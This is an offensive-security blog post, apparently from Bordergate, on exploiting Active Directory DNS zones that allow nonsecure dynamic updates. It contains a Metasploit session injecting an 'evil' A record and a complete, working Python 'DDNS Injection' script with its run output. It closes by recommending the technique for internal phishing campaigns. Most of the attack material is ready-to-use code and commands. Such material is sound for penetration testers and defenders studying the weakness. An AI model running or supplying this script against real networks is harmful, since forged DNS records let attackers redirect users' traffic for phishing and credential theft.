Dynamic DNS

In Active Directory-integrated DNS, Dynamic DNS (DDNS) allows Windows clients and domain controllers to automatically register and update their DNS records (like A and PTR records) in the DNS server.

Typically these updates are authenticated, but if the DNS zone is configured to allow “Nonsecure” updates, an adversary may be able to add arbitrary records to the domain.

The setting that dictates the security policy can be found in the zone properties.

To exploit this condition and add a new A name record to the domain, the Metasploit dyn_dns_update module can be used.

msf6 > use auxiliary/admin/dns/dyn_dns_update
msf6 auxiliary(admin/dns/dyn_dns_update) > set DOMAIN bordergate.local
DOMAIN => bordergate.local
msf6 auxiliary(admin/dns/dyn_dns_update) > set HOSTNAME evil
HOSTNAME => evil
msf6 auxiliary(admin/dns/dyn_dns_update) > set IP 6.6.6.6
IP => 6.6.6.6
msf6 auxiliary(admin/dns/dyn_dns_update) > set RHOST 192.168.1.205
RHOST => 192.168.1.205
msf6 auxiliary(admin/dns/dyn_dns_update) > run
[*] Running module against 192.168.1.205
[+] Found existing A record for evil.bordergate.local
[*] Sending dynamic DNS delete message...
[+] The record 'evil.bordergate.local => 6.6.6.6' has been deleted!
[*] Sending dynamic DNS add message...
[+] The record 'evil.bordergate.local => 6.6.6.6' has been added!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dns/dyn_dns_update) > 

Note, that records created from legitimate clients will often have an access control list attached that will only allow modification from the machine account that created the record.


DDNS Abuse with Python

Adding and deleting DNS records can be easily automated using Python.

#!/usr/bin/env python3
import argparse
import dns.update
import dns.query
import dns.resolver
import time

#####################################################################################
# ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗#
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝#
# ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░#
# ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░#
# ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗#
# ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝#
#####################################################################################
#                                   DDNS Injection                                  #
#####################################################################################

def check_dns_record(fqdn, record_type="A", nameserver=None):
    resolver = dns.resolver.Resolver()
    if nameserver:
        resolver.nameservers = [nameserver]

    print(f"[*] Checking DNS record for {fqdn} ({record_type})...")
    try:
        answers = resolver.resolve(fqdn, record_type)
        for rdata in answers:
            print(f"[+] Found: {rdata.to_text()}")
        return True
    except dns.resolver.NXDOMAIN:
        print("[-] Domain does not exist.")
    except dns.resolver.NoAnswer:
        print("[-] No answer for the DNS query.")
    except dns.resolver.Timeout:
        print("[-] Query timed out.")
    except Exception as e:
        print(f"[-] DNS resolution error: {e}")
    return False

def add_dns_record(zone, name, ip, dns_server, ttl=3600):
    print(f"[+] Adding {name}.{zone} -> {ip}")
    update = dns.update.Update(zone)
    update.add(name, ttl, 'A', ip)

    response = dns.query.tcp(update, dns_server)
    print(f"[+] Add response: {response.rcode()} ({dns.rcode.to_text(response.rcode())})")
    return response.rcode()

def delete_dns_record(zone, name, dns_server):
    print(f"[+] Deleting {name}.{zone}")
    update = dns.update.Update(zone)
    update.delete(name, 'A')

    response = dns.query.tcp(update, dns_server)
    print(f"[+] Delete response: {response.rcode()} ({dns.rcode.to_text(response.rcode())})")
    return response.rcode()

def parse_args():
    parser = argparse.ArgumentParser(description="Dynamic DNS Add/Delete Script")
    
    parser.add_argument("--zone", required=True, help="DNS Zone (e.g., example.com)")
    parser.add_argument("--name", required=True, help="Record Name (e.g., test)")
    parser.add_argument("--ip", required=True, help="IP address to associate with the record")
    parser.add_argument("--dns-server", required=True, help="DNS server IP address")
    parser.add_argument("--ttl", type=int, default=3600, help="TTL for the record (default: 3600)")

    return parser.parse_args()

def main():
    args = parse_args()
    fqdn = f"{args.name}.{args.zone}"

    print("\n[1] Checking if record exists before adding...")
    check_dns_record(fqdn, "A", nameserver=args.dns_server)

    print("\n[2] Adding DNS record...")
    if add_dns_record(args.zone, args.name, args.ip, args.dns_server, ttl=args.ttl) == 0:
        time.sleep(5)

        print("\n[3] Checking if record resolves after adding...")
        check_dns_record(fqdn, "A", nameserver=args.dns_server)

        print("\n[4] Deleting DNS record...")
        if delete_dns_record(args.zone, args.name, args.dns_server) == 0:
            time.sleep(5)

            print("\n[5] Checking if record still resolves after deletion...")
            check_dns_record(fqdn, "A", nameserver=args.dns_server)
        else:
            print("[-] Failed to delete the DNS record.")
    else:
        print("[-] Failed to add the DNS record.")

if __name__ == "__main__":
    main()


Running the code should add and delete a new A name record.

./dynamic_dns_attack.py --zone bordergate.local --name screaming-fist --ip 6.6.6.6 --dns-server 192.168.1.205

[1] Checking if record exists before adding...
[*] Checking DNS record for screaming-fist.bordergate.local (A)...
[-] Domain does not exist.

[2] Adding DNS record...
[+] Adding screaming-fist.bordergate.local -> 6.6.6.6
[+] Add response: 0 (NOERROR)

[3] Checking if record resolves after adding...
[*] Checking DNS record for screaming-fist.bordergate.local (A)...
[+] Found: 6.6.6.6

[4] Deleting DNS record...
[+] Deleting screaming-fist.bordergate.local
[+] Delete response: 0 (NOERROR)

[5] Checking if record still resolves after deletion...
[*] Checking DNS record for screaming-fist.bordergate.local (A)...
[-] Domain does not exist.


In Conclusion

The ability to manipulate DNS records can be useful for launching internal phishing campaigns. In addition, it may be possible to manipulate other records that were not added using authenticated updates.